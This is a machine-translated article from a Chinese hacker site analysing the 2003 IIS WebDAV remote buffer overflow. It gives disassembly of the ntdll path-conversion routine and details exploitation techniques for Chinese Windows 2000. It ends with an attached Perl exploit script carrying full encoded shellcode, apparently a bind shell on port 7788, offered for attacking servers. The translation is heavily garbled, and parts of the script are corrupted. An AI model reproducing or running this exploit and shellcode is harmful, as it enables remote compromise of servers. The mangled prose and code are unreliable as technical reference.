The WebDav long-distance overflow loophole analyzes |http://www.cshu.net




                               About us 
                               Commercial cooperation 
                               Copyright declaration 
                               Contacts with us 



            Returns to the home pageArticle browsingOther columnsLands the forum


            |   The absolute &#21019;   |   |   hacker file   |   |   is newest 
            dynamically   |   
                  |  The hacker file>>invasion analyzesthe >>WebDav 
                  long-distance overflow loophole to analyze  Printing

            The WebDav long-distance overflow loophole analyzes
            Www.cshu.net  2003-4-2  fog rain village 

              First, the loophole analyzes
              This loophole possibly is front a year had Niu Ren has discovered, 
              but has not always announced, until recently Microsoft left safely 
              announced everybody only then knew originally had such a loophole. 
              Although WebDav is uses this loophole through IIS, but loophole 
              itself certainly is not IIS creates, but is inside a ntdll.dll API 
              function creates. Some meant that, very transfers this API the 
              application procedure all to have this loophole. The entire 
              loophole quotation relations are such: 
              IIS->WebDav->kernel32! GetFileAttributesExW->ntdll! 
              RtlDosPathNameToNtPathName_U (overflow)
              GetFileAttributesExW is very commonly used, uses for to obtain the 
              file attribute API function, its first parameter is a filename. 
              And afterwards transfers in ntdll.dll the 
              RtlDosPathNameToNtPathName_U function, processes this filename. If 
              for an ultra long filename, can cause in the 
              RtlDosPathNameToNtPathName_U function to have the overflow.
              This overflow in essence is a short entire type number overflow, 
              after but has caused the storehouse overflow. Recently appeared 
              very many loopholes all were the integer overflow cause, this 
              point was worth studying.
              When we transmit following request to IIS to be able to trigger 
              the overflow:
              SEARCH/[ buffer (>65513 bytes) ] HTTP/1.0
              IIS on adds on buffer in front of several bytes the ways, then has 
              bequeathed GetFileAttributesExW as the filename parameter, then 
              GetFileAttributesExW bequeaths this long character string as the 
              parameter RtlDosPathNameToNtPathName_U, then overflowed.
              How under do we on have a look the overflow are occur:
              Text:77F8AFFC public RtlDosPathNameToNtPathName_U
              Text:77F8AFFC RtlDosPathNameToNtPathName_U proc near; CODE XREF: 
              Sub_77F87F5C+15p
              Text:77F8AFFC; Text:77F8D9F8p...
              Text:77F8AFFC push ebp
              Text:77F8AFFD mov ebp, esp
              Text:77F8AFFF push 0FFFFFFFFh
              Text:77F8B001 push offset dword_77F8B1E8
              Text:77F8B006 push offset sub_77F82B95
              Text:77F8B00B mov eax, large fs:0
              Text:77F8B011 push eax
              Text:77F8B012 mov large fs:0, esp; Establishment unusual chain
              Text:77F8B019 push ecx
              Text:77F8B01A push ecx
              Text:77F8B01B sub esp, 26Ch
              Text:77F8B021 push ebx
              Text:77F8B022 push esi
              Text:77F8B023 push edi
              Text:77F8B024 mov [ ebp+var_18 ], esp
              Text:77F8B027 xor ebx, ebx
              Text:77F8B029 mov [ ebp+var_58 ], ebx
              Text:77F8B02C mov [ ebp+var_3C ], ebx
              Text:77F8B02F mov edi, 20Ah
              Text:77F8B034 mov esi, edi
              Text:77F8B036 push [ ebp+arg_0 ]; Way UNICODE character string
              Text:77F8B039 lea eax, [ ebp+var_30 ]; UNICODE_STRING structure 
              indicator
              Text:77F8B03C push eax
              Text:77F8B03D call RtlInitUnicodeString

              Transfers RtlInitUnicodeString as follows the function 
              initialization UNICODE_STRING structure, the UNICODE_STRING 
              structure:
              Typedef struct _UNICODE_STRING {
              USHORT Length; The //UNICODE character string length, is short 
              entire type number, most greatly may be 0xffff namely 65,535
              USHORT MaximumLength; The //UNICODE character string may save the 
              greatest length, the short trueing, most greatly may be 0xffff 
              namely 65,535
              PWSTR Buffer; // deposits the UNICODE character string the address
              } UNICODE_STRING *PUNICODE_STRING;
              The RtlInitUnicodeString function actually is deposits the way 
              character string Buffer, and calculates its length, puts in 
              Length. Here has a short entire type number overflow, if the way 
              character string length surpasses 65535, because Length is short 
              entire type number, therefore is unable to hold, can overflow, for 
              example works as the way length is 65,536, then Length is 0, is 
              different with the actual length. Personally met in after used 
              Length the time has caused the ordinary storehouse overflow.
              Text:77F8B05A lea eax, [ ebp+var_270 ]
              Text:77F8B060 mov [ ebp+var_3C ], eax
              In the RtlDosPathNameToNtPathName_U function storehouse address, 
              the distance function stack bottom distance is the 0x270 byte, 
              latter personally meets as the parameter spreads to sub_77F8AC33
              Text:77F8B0A0 lea eax, [ ebp+var_274 ]
              Text:77F8B0A6 push eax
              Text:77F8B0A7 lea eax, [ ebp+var_38 ]
              Text:77F8B0AA push eax
              Text:77F8B0AB push [ ebp+arg_8 ]
              Text:77F8B0AE push [ ebp+var_3C ]; Front takes that storehouse 
              address [ ebp+var_270 ]
              Text:77F8B0B1 mov edi, 208h
              Text:77F8B0B6 push edi; Length limit, 0x208
              Text:77F8B0B7 lea eax, [ ebp+var_30 ]; Has already initialized 
              UNICODE_STRING structure indicator
              Text:77F8B0BA push eax
              Text:77F8B0BB call sub_77F8AC33; Transfers sub_77F8AC33
              Text:77F8AC33 sub_77F8AC33 proc near; CODE XREF: 
              RtlGetFullPathName_U+24p
              Text:77F8AC33; RtlDosPathNameToNtPathName_U+BFp...
              ......
              Text:77F8AD96 mov dx, [ ebp+var_30 ]
              Text:77F8AD9A movzx esi, dx
              Text:77F8AD9D mov eax, [ ebp+var_28 ]
              Text:77F8ADA0 lea ecx, [ eax+esi ]; Ecx is in UNICODE_STRING 
              structure Length
              Text:77F8ADA3 mov [ ebp+var_5C ], ecx
              Text:77F8ADA6 cmp ecx, [ ebp+arg_4 ]; The length limit comparison, 
              Length and the arg_4 parameter (namely 0x208) carries on the 
              comparison
              Text:77F8ADA9 jnb loc_77F8E771; If the UNICODE character string 
              length is bigger than 0x208 to jump changes to wrong processing
              Here has a length limit, namely UNICODE character string length 
              Length cannot surpass the 0x208 byte, otherwise thought is ultra 
              long, does not carry on the character string copy. But because 
              Length this short entire type number overflowed, it compared to 
              UNICODE character string is actual length young many, therefore 
              creates the length limit comparison to expire, thus has created 
              the behind overflow.
              After carries on the length limit comparison, can to [ 
              arg_8+offset ] inside (offset be very small) in the UNICODE_STRING 
              structure Buffer inside content copy, also is that storehouse 
              address which front takes [ ebp+var_270 ] inside.
              Text:77F8AE1B movzx ecx, [ ebp+var_4C ]
              Text:77F8AE1F add ecx, [ ebp+arg_8 ]; Ecx is that storehouse 
              address which front takes [ ebp+var_270 ]
              ......
              Receives is some characters strings together the copy operation, 
              in UNICODE_STRING structure Buffer inside content copy to [ 
              arg_8+offset ] inside.
              Text:77F8AE63 mov [ ecx ], dx
              Text:77F8AE66 add ecx, ebx
              The character strings together copy time overflowed, can the 
              RtlDosPathNameToNtPathName_U function return address, as well as 
              the establishment unusual chain completely covers. Generally we 
              through cover the address the exception handling indicator which 
              we can control, like this behind triggers the unusual time can 
              jump carries out our shellcode.
              The general process is this, certainly also has some quite complex 
              processing, no longer gives unnecessary detail.
              Second, loophole use
              After Microsoft's announcement, I have reappeared this loophole, 
              but because the very long time did not do these things, all had 
              again study to be able to recall to mind including the softice 
              order. To must write this exploit procedure, also discovered 
              UNICODE transforms very annoyingly, also always does not have the 
              very general means to the present to use. Afterwards when the 
              foreigner announced his exploit procedure, I only then discovered 
              the original Chinese edition and English version Windows 2,000 
              UNICODE transforms is dissimilar, must trouble many to Chinese 
              edition win2000 exploit, writes the exploit procedure like 
              foreigner that appearance radically to be unable to attack the 
              Chinese edition win2000.
              After we "/[ buffer ] HTTP/1.0 bequeath SEARCH" IIS, first carries 
              on a series of processing to analyze buffer, then carries on 
              MultiByteToWideChar to buffer to transform, transforms buffer the 
              UNICODE form. The Chinese edition and English version win2000 
              transformation should be dissimilar, possibly is transformation 
              CodePage is dissimilar, English version possibly is uses CP_ACP, 
              the Chinese edition uses is possibly CP_UTF*, is concrete I which 
              is how transforms not to make clear, in brief transforms the 
              result in the Chinese edition and English version should be 
              dissimilar.
              Has like this created the Chinese edition with difficulty use, 
              because in English version may directly puts some instructions or 
              the return address inside buffer, after transforms UNICODE cannot 
              change. But Chinese edition after transformation had many bytes to 
              change, caused to be unable to use. Normally also was passes 
              through the UNICODE transformation like the before ida/idq 
              overflow, that was allowed to use %u the method to carry on the 
              code, caused certain bytes not to carry on the transformation. The 
              WebDav overflow although also can use %u to code controls does not 
              carry on the transformation, but actual debugs discovered certain 
              did not conform to the standard byte or to change. The estimate 
              was to has the %u encoded byte first to carry on the 
              MultiByteToWideChar transformation, then used WideCharToMultiByte 
              to to return. Therefore did not conform to the UNICODE code 
              standard character or to change.
              The most difficult question was the return address scope which we 
              used for to cover greatly reduced, only could use some to conform 
              to the UNICODE code standard character, otherwise could transform 
              the accent. The visible character (0x20~0x7f) certainly is may 
              use, but had to use these characters to come the instruction which 
              the structure left may carry out quite to be difficult, therefore 
              could not use to contain JMP the EBX and so on instruction the 
              address to take the return address, otherwise even if returned to 
              buffer inside also very difficultly jumps with section of 
              instructions changes to shellcode to go. But English version does 
              not have this question, but the present announces exploit all 
              useless %u code and JMP EBX address method, but is makes the 
              return address with the storehouse address, like this causes these 
              exploit copes with when English version the success ratio not to 
              be high.
              Copes with the Chinese edition win2000 trouble many, because does 
              not allow inside buffer to have does not conform to the UNICODE 
              encoded character, therefore directly uses in the storehouse the 
              shellcode address achievement return address quite to be good. 
              Like this needs in front of shellcode puts as far as possible many 
              NOP, occupies section of quite big memories spaces, like this 
              guarantees returns to NOP inside. Inside the HTTP agreement 
              permits the depositing most massive data the place is the POST 
              data, therefore shellcode puts on here. Entire HTTP requests such 
              structure:
              SEARCH/[ ret ]... [ ret ] [ AAA.. AAA ] [ qq ] HTTP/1.0
              Host: ISNO
              Content-Type: Text/xml
              Content-length: [ NOP and Shellcode total length ]
              [ NOPNOPNOP.. NOPNOP ] [ Shellcode ]
              Because the AAAA.. AAAA length quite is long, feared 11000 
              returned to this inside does not have the means to carry out 
              shellcode, therefore had to put in AAAA behind to jump transfers 
              the instruction, because NOP and shellcode was AAAA behind 
              arranges in the storehouse (but certainly not tightly is 
              suffering, middle had some useless characters), therefore if 
              returned to AAAA inside on continuously carries out inc the ecx 
              instruction (0x41), then finally jumped changes to in NOP. Because 
              must use inside this to conform to the UNICODE encoded 
              instruction, therefore the general jmp instruction (0xeb) all 
              cannot use, we use jno xxxx (0x71) the instruction to jump the 
              extension to after. Therefore we put two q on AAAA behind (0x71) 
              to take jumps transfers the instruction, like this even if returns 
              to AAAA inside also can behind guarantee finally jumps changes to 
              the shellcode execution.
              The concrete exploit procedure please see also attaches the 
              procedure.
              I all tested on several Chinese editions win2000 + SP2 and SP3 
              successfully, but also had some machines not to be able to 
              succeed, needed to adjust the return address only then to be good. 
              Therefore this procedure versatility still was not very good. 
              Moreover on some machines also has the return address to have to 
              have 2 bytes to the uneven question, therefore uses the return 
              address uses the first two bytes and the latter two bytes as far 
              as possible same, for example 0x00d700d7.
              By the way, I discovered perl really is the good thing, uses for 
              the structure character string to be extremely convenient in 
              particular.
              Third, summary
              This is the storehouse overflow which a typical integer overflow 
              causes, had similarly with the before that ASP overflow place, 
              only the ASP overflow was the integer overflow causes to pile the 
              overflow. This loophole another characteristic is it is UNICODE 
              transforms after the overflow, this greatly increased the use 
              difficulty.
              Because myself level is extremely limited, in addition does not 
              have the time to carry on a more careful analysis, therefore is 
              not possibly correct to some treating processes understanding, 
              perhaps to this loophole analysis affirmation existence careless 
              mistake, the IIS some some special transformations treating 
              processes I had not discovered, possibly can cause this loophole 
              to have the extremely easy method to use. Writes this article the 
              goal to lie in offers a few ordinary introductory remarks so that 
              others may offer their valuable ideas, to let the cow people 
              announce the good exploit method, lets the little brother I also 
              study.

              Attaches the WebDav long-distance overflow procedure:
              ----------------------------------------------------------------------
              #! /usr/bin/perl
              #65514 by isno@xfocus.org
              #tested on Win2k SP3 Chinese version
              Use IO::Socket;
              If ($#argv<0) {die "webdavx.pl IP\r\n";}
              = @ARGV [ 0 ]; 
              $$PP Rt= 80;
              = "%u00d7%u00d7" x 500;
              = "A" x 64,502;
              = "BBBBBBBBBBqq"; # qq= "\x71\x71" means jno xxxx
              = "\x90" x 40,000;
              =
              "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90".
              "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa".
              "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36".
              "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97".
              "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14".
              "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2".
              "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14".
              "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5".
              "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1".
              "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16".
              "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68".
              "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1".
              "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94".
              "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4".
              "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68".
              "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57".
              "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4".
              "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4".
              "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5".
              "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68".
              "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67".
              "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1".
              "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf".
              "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab".
              "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0".
              "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4".
              "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0".
              "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56".
              "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7".
              "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57".
              "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4".
              "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f".
              "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7".
              "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68".
              "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f".
              "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75".
              "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0".
              "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5".
              "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2".
              "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6".
              "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97".
              "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc".
              "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb".
              "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97".
              "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2".
              "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4".
              "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97".
              "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2".
              "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97".
              "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97".
              "\x68\x68\x68\x68";
              = IO::Socket::INET->new (PeerAddr =>, PeerPort => $$PP Rt, Proto 
              => "tcp", Type =>SOCK_STREAM) or die "Couldn't connect: @! \n ";
              Print "SEARCH /$ret$buf$jmp HTTP/1.0\r\n";
              Print "Host: ISNO\r\n ";
              Print "Content-Type: Text/xml\r\n ";
              Print "Content-length: 40804\r\n\r\n ";
              Print "";
              Print "send buffer... \r\n";
              Print "telnet target 7788\r\n";
              Close ();
              ----------------------------------------------------------------------


              Original author: ` 
              Origin: ` 
              Altogether has 133 readers to read this article 

              [Tells friend] 
            Previous article:Lonely swordsman: An hacker's worry 

            Next article:A WEBDAVX overflow success invasion test 

            - this week popular article - related article 
            In ASP uses the SQL sentence (total collection)
            Opens 3,389 codes (CPP)
            Port greatly entire Chinese edition
            How raises own programming level
            Enters the server using the Microsoft newest strict heavy duty 
            WebDAV long-distance buffer overflow loophole! (In view of English 
            version method) 
            A WEBDAVX overflow success invasion test
            The WebDav long-distance overflow loophole analyzes



      CSHU 
